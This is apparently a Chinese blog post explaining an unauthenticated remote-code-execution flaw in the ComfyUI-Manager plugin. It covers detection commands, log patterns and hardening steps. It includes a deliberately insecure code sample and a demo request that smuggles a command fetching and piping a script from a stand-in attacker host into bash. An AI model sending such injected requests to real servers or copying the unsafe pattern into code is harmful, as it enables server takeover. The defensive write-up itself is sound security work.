这两天 AI 绘画圈被一条消息刷了屏ComfyUI-Manager 曝出了编号为 CVE-2025-67303 的远程代码执行漏洞而且攻击不需要任何认证。这个漏洞不是“理论上存在”那种级别而是已经有批量扫描工具在互联网上到处找暴露的 ComfyUI 实例一旦命中攻击者就直接拿到服务器权限。ComfyUI-Manager 几乎是所有 ComfyUI 用户的必装插件这个面铺得非常广影响范围基本等于所有把 ComfyUI 暴露在公网、甚至只是暴露在局域网但网络隔离做得不好的用户。这篇文章我想从头到尾把这件事捋清楚漏洞到底出在哪、攻击链路是怎么串起来的、你该怎么自查、以及应急修复和长期防护怎么做。不管你是刚入门的 SD 玩家还是帮团队维护 AI 绘图服务器的运维下面这些内容基本都能直接照着操作。1. 漏洞概述一个“插件管理器”怎么变成了攻击入口1.1 这到底是个什么洞先说一下背景。ComfyUI 是目前使用人数最多的节点式 AI 绘画工作流工具而 ComfyUI-Manager 是它的头号插件管理器负责给用户提供自定义节点的安装、更新、禁用、启停等功能。很多人每次打开 ComfyUI 都要跟这个管理器打交道但很少有人想过这个管理器实质上是一个一直运行在你电脑或服务器上的 Web 服务而且它说了算的东西是“执行代码”。CVE-2025-67303 描述的就是这个管理器里存在的一处远程代码执行漏洞。远程代码执行英文缩写 RCE意思是攻击者可以通过网络把一段命令送到你的服务器上执行。更狠的是这次是“无认证攻击”也就是说攻击者不用登录、不用猜密码、不用碰运气过任何身份校验只要你的 8188 端口能被访问攻击就是成立的。我把这个漏洞涉及的关键点和严重程度列成了一张表风险项说明漏洞类型远程代码执行RCE攻击前提无任何身份认证无需用户交互影响组件ComfyUI-Manager 插件非 ComfyUI 本体攻击入口ComfyUI 暴露于公网或局域网内可达且无隔离实际后果攻击者获得服务器权限植入木马、挖矿程序、后门窃取文件或 API 密钥受影响部署使用--listen 0.0.0.0或云服务器默认开启 8188 端口的用户风险最高很多人觉得“我电脑上自己装的不可能是目标”。但现实是攻击者根本不看你是不是重要目标他们用脚本全互联网扫描 8188 端口扫到一个就去尝试利用一次完全是广撒网思路。你的机器可能只是一台普通的云服务器扫到之后就是在上面跑挖矿程序把 CPU 吃满。1.2 什么部署方式最容易中招我见过大量 ComfyUI 用户有三种典型部署方式本地 Windows 电脑安装默认监听127.0.0.1只在浏览器里用。云服务器上部署为了方便远程访问启动参数直接写了--listen 0.0.0.0防火墙没拦 8188。局域网里的机器开着--listen 0.0.0.0让工作室其他人访问但路由器没有做设备隔离。第一种情况基本安全因为服务只对本机开放外部网络根本摸不到。第二种和第三种就是这次漏洞的重灾区。尤其是第二种云服务器的公网 IP 是直接暴露的攻击者的扫描器几分钟内就能发现你。如果我用一句大白话来形容这个漏洞的凶险程度它等于把服务器大门的钥匙挂在了门口任何人路过都能开门进屋。你不需要知道屋里是谁不需要提前踩点门开着就是你的了。2. 漏洞技术拆解攻击链路是怎么串起来的2.1 攻击入口在哪里ComfyUI-Manager 作为插件会在启动时向 ComfyUI 注册一批以/manager开头的 API 路由。这些路由负责安装节点、更新列表、读取配置、管理模型状态等工作。问题就出在这一批路由里的某个接口它接收用户输入的参数后会把这些参数直接拼接到系统命令里执行同时又没有做身份校验。这里需要特别说明一点这个漏洞为什么会被广泛利用不只是因为它代码写得糙而是因为 ComfyUI-Manager 在用户群体中的覆盖率高得惊人。随便一个 ComfyUI 教程都会让人先装这个管理器装上之后你才能方便地下载各种自定义节点。可以说只要你在玩 ComfyUI大概率就装了这个插件。攻击面大利用门槛又低自然就成了扫描器的首选目标。攻击者识别目标的方式很直接先对某一个 IP 段的 8188 端口发一个 GET 请求如果返回的内容里带有 ComfyUI 的特征信息就再用专门的 CVE-2025-67303 利用脚本发起下一步请求。整个识别和利用过程可以完全自动化。2.2 从无害请求到命令执行为了把原理讲清楚我写一段简化的不安全代码来演示这类漏洞的本质。真实漏洞的具体代码不会完全跟这个一样但逻辑是同一个套路# 不安全的实现示意——真实漏洞的代码逻辑与此类似 def install_extension_from_url(node_url): # 直接把用户提供的 URL 拼进 shell 命令 os.system(git clone node_url) def api_install_node(request): url request.json.get(url, ) install_extension_from_url(url)这段代码里node_url是用户可控的。正常请求传一个 GitHub 地址服务器就会执行git clone https://github.com/xxx/yyy。但如果攻击者传入的字符串里带上了 shell 的特殊字符比如分号;、管道符|、逻辑连接符情况就完全变了。攻击者实际发送的请求大致长这样注意这是基于公开漏洞原理的演示构造curl -X POST http://目标IP:8188/manager/install \ -H Content-Type: application/json \ -d {url: https://example.com/repo; curl -s http://attacker.example/x.sh | bash}服务器执行到那条命令时curl出来的脚本就以当前用户的权限在机器上跑起来了。这一步就是“远程代码执行”的字面意思。2.3 为什么“无认证”三个字这么致命很多漏洞多少还有点安慰比如“需要登录后台才能利用”“需要某个低权限账号”意思是攻击者至少得先拿到一把钥匙。但这次漏洞钥匙不需要门就是敞开的。你可以把整个攻击过程比喻成一次入室盗窃没有围墙、没有门锁、窗户大开小偷进来只需要迈腿。攻击者拿到权限后做的第一件事通常不是偷数据而是把机器变成自己的肉鸡。常见操作包括下载挖矿木马占用 CPU 和 GPU 资源让机器变成“矿机”。写入 SSH 公钥留一个永久后门。修改定时任务让恶意脚本持久化运行。翻找机器上的模型文件、Token、API Key、云端存储密钥。后面我再具体说自查步骤但你先要有一个意识如果你的服务曾经暴露在公网哪怕你第一时间发现并修复了漏洞也要假设攻击者可能已经留了后门排查不能只看漏洞本身。3. 三个自检步骤判断你的环境有没有被入侵3.1 先确认端口是否暴露如果你不确定自己的 ComfyUI 是怎么启动的最先要检查的就是监听范围。在服务器上执行netstat -anp | grep 8188 # 或使用 ss ss -tlnp | grep 8188注意输出里的监听地址如果显示127.0.0.1:8188说明只有本机能访问外部扫不到相对安全。如果显示0.0.0.0:8188说明对所有网卡开放。这时候你要再确认一下防火墙有没有把 8188 放出来。进一步你可以换一台网络环境完全不同的机器比如手机开 5G直接访问http://服务器IP:8188。能打开页面就意味着你的服务暴露在公网了。这一步非常关键别等到漏洞通报出来了才发现自己的端口裸奔了大半年。3.2 检查异常进程、定时任务和文件如果确认服务暴露过或者已经看到异常现象比如机器变卡、GPU 占用莫名升高、出网流量异常就按下面的顺序逐项排查第一查进程。挖矿木马最常见的几个进程名ps aux --sort-%cpu | head -30 ps aux | grep -E xmrig|kdevtmpfsi|kinsing|watchdogs|systemd-update正常情况下ComfyUI 的进程名是python或者python3CPU 占用取决于你在不在跑图。如果你看到 CPU/GPU 满载、进程名又很陌生的就要重点留意了。第二查定时任务。攻击者最喜欢把后门脚本挂到 crontab 里保证重启后还能运行crontab -l cat /etc/crontab ls -la /etc/cron.d/看有没有不认识的下载命令比如curl配合| bash、wget后接可疑地址这些基本是服务器被入侵的铁证。第三查常见后门落地点。尤其注意临时目录ls -la /tmp/ /var/tmp/ /dev/shm/ cat ~/.bashrc cat ~/.ssh/authorized_keys如果你发现自己根本没有往authorized_keys里添加过公钥但文件里多了一段不认识的ssh-rsa那就说明攻击者已经给自己留了后门。.bashrc被改了则等于每次登录都会触发恶意脚本。3.3 翻日志和版本别放过访问痕迹ComfyUI 本身不一定会把所有 HTTP 请求都打进日志但你可以从反向代理日志Nginx/Caddy、云服务器的安全防护日志、以及系统登录日志上找蛛丝马迹。重点看的日志关键字日志内容意义POST /manager/大量出现说明有人一直在探测管理接口%7Curlencoded 竖线、%3Burlencoded 分号、高概率是命令注入的攻击载荷来自陌生 IP 的多次GET /且返回异常请求自动化扫描器的行为特征User-Agent为空或非主流浏览器基本可以断定是脚本在批量访问版本核查也顺手做掉。打开 ComfyUI 界面右上角的 Manager 入口里面能看到插件版本号也可以直接查看安装目录下的package.json确认。如果你的 ComfyUI-Manager 版本还很旧且没有收到官方的更新补丁说明先按最低风险标准处理也就是视作受影响的未修复状态。4. 漏洞修复与应急加固实践4.1 最快的止血动作如果你的服务已经暴露在公网第一件事不是讨论怎么升级而是先把攻击面封掉。两个速度最快的方案二选一方案 A直接卸载或禁用 ComfyUI-Manager找到 ComfyUI 根目录下的custom_nodes文件夹把ComfyUI-Manager这个子目录改名比如加一个.disabled后缀然后重启 ComfyUI。重启后管理器不再加载相关 API 路由全部消失攻击入口直接消失。代价是你在短期内用不了管理器的安装/更新功能但保命永远优先于便利。方案 B升级到修复版本官方仓库已经发布了修复代码社区流传最广的升级命令是pip install -U --pre comfyui-manager注意三个细节这里的-U是大写网上很多截图写成小写-u小写虽然不会报错但是含义完全不同--pre表示允许安装预发布版本因为在漏洞刚修复的时间窗口里修复版往往以预发布形式放出如果你的 ComfyUI-Manager 是通过 git 目录方式装在custom_nodes下的那更稳妥的做法是进到插件目录里git pull拉取最新提交。我不建议只依赖pip升级因为很多人当年就是从 git 仓库装的两个渠道的插件状态可能不一致。最稳的组合拳是先进custom_nodes/ComfyUI-Manager目录git pull再重启 ComfyUI。4.2 网络层加固防止下一次裸奔止血只是第一步真正要解决的问题是“为什么你的服务会裸奔到公网”。下面是我建议的几种做法从懒人到严谨的都可以选最省事只用本机修改 ComfyUI 启动命令不要加--listen 0.0.0.0参数。保持默认的--listen 127.0.0.1浏览器也用http://127.0.0.1:8188访问。这是最安全的因为服务不在网络层暴露。进一步只在可信内网使用如果工作室需要在局域网内共享访问那就用内网 IP 访问但启动时监听127.0.0.1后再用防火墙把端口控制住# 仅允许内网网段访问 8188 sudo ufw allow from 192.168.1.0/24 to any port 8188 sudo ufw deny 8188 sudo ufw reload这种做法比较依赖你的路由器安全性。我额外建议开启路由器的“AP 隔离”或“访客网络隔离”避免同一局域网下的某个设备被攻破后横向渗透到你的 ComfyUI 机器。远程访问必须加反向代理和鉴权如果你人不在内网想要公网访问最佳方案是在前面套一层带身份验证的反向代理。我这里给一个 Caddy 配置示例comfy.example.com { basicauth { admin 你生成的高强度密码哈希 } reverse_proxy 127.0.0.1:8188 }用caddy hash-password命令可以生成密码哈希。配置好之后所有访问必须先通过 HTTP Basic Auth管理接口再也不是裸奔状态。记得同时把防火墙里的 8188 端口改成只允许本机或者只允许 Caddy 所在机器访问不能继续让公网直连 8188。4.3 长期防线别把所有鸡蛋放在一个系统里这次漏洞之后我的看法是凡是联网的 AI 绘图服务一律按生产服务器的标准管。这不是小题大做而是因为这类服务天然要运行别人写的各种自定义节点代码而自定义节点的生态里根本没有安全审计概念很多代码就是个人开发者直接写到 GitHub 上的。几个值得长期落实的习惯用专用低权限账号跑 ComfyUI不要用 root。把模型目录、工作流目录、插件目录做权限隔离运行账号只给必要读写权限。定期对custom_nodes里的插件做版本检查看到有修复更新及时跟进。关闭不用的服务端口不在服务器上跑和 AI 无关的常驻程序减小被横向利用的范围。每周翻一次ps和crontab -l的输出顺手的事但能让你在木马刚植入时就发现异常。5. 这次漏洞带给自托管社区的几点反思5.1 为什么 AI 工具链的安全问题这几年特别多严格来说ComfyUI-Manager 不是第一起在 AI 绘画生态里曝出的安全问题早前已经有一些自定义节点被曝出过任意文件上传、路径穿越之类的漏洞。为什么会这样答案其实很现实这个生态发展太快了。一个新功能从想法到实现可能只需要几天作者想的是把功能跑通、让用户装上能用没有精力也没有专业背景去琢磨怎么防攻击。另一个问题是使用者群体的变化。现在用 ComfyUI 的人很多是设计师、画师、视频创作者并不是运维出身。大家习惯性地以为“我装的这个软件是给我自己用的”完全没意识到一旦把监听地址改成0.0.0.0这个软件就在互联网上开门营业了。两者叠加就成了攻击者眼里的完美目标一个开发团队普遍缺少安全经验、用户群体又普遍缺少安全意识的开源工具链。5.2 插件生态中的供应链风险RCE 漏洞是直接的攻击入口但在 AI 绘画生态里更大的隐患其实是插件供应链。ComfyUI-Manager 的定位是帮你管理自定义节点那么问题来了如果一个自定义节点本身就在代码里做了恶意操作呢比如某个节点在你运行工作流时偷偷把你目录下的模型上传到某个远程服务器或者在你机器上下载一个脚本执行。这次 CVE 披露之后我更多是在思考一件事你装的每一个插件节点都在以你的机器权限运行任意代码。安装一个插件就等于默认信任了它的作者。这种信任成本在个人电脑上还能接受但如果放在承载着公司业务的服务器上就是在赌博。我自己的习惯是不给自定义节点目录设置过高的写权限不在生产环境用“最新热门节点”必要时代码走读一眼至少搜一下有没有os.system、subprocess、requests.post这些敏感调用。5.3 给所有人的可落地检查单最后我把这次排查和加固的经验整理成一份清单你可以直接对着勾选检查项操作状态端口监听范围ss -tlnpgrep 8188确认不是 0.0.0.0公网可达性手机流量访问你的公网 IP:8188验证是否通必做插件版本查看 ComfyUI-Manager 版本确认是否已更新必做异常进程ps aux查看未知高耗进程必做定时任务crontab -l和/etc/cron.d/检查可疑条目必做临时目录查看/tmp、/var/tmp、/dev/shm是否有脚本文件建议SSH 后门检查~/.ssh/authorized_keys是否有陌生公钥必做反向代理是否已加认证未加则设为最低要求建议数据备份工作流、模型文件是否有异地备份建议这次漏洞的传播速度和影响范围让我想起前几年一批自托管应用集中爆出无认证漏洞时的情况。说白了工具越来越强大、使用门槛越来越低但安全门槛从来没有降低过只是被大多数人忽略了。我个人处理这件事的体会是别指望任何插件默认是安全的也别指望自己记得住每次升级。把防火墙规则写好、把反向代理带上认证、把系统权限锁紧这些一次性投入做完之后后面会省下非常多麻烦。至少下次再爆出漏洞的时候你不会看完文章才发现自己的机器已经在公网裸奔了半年。
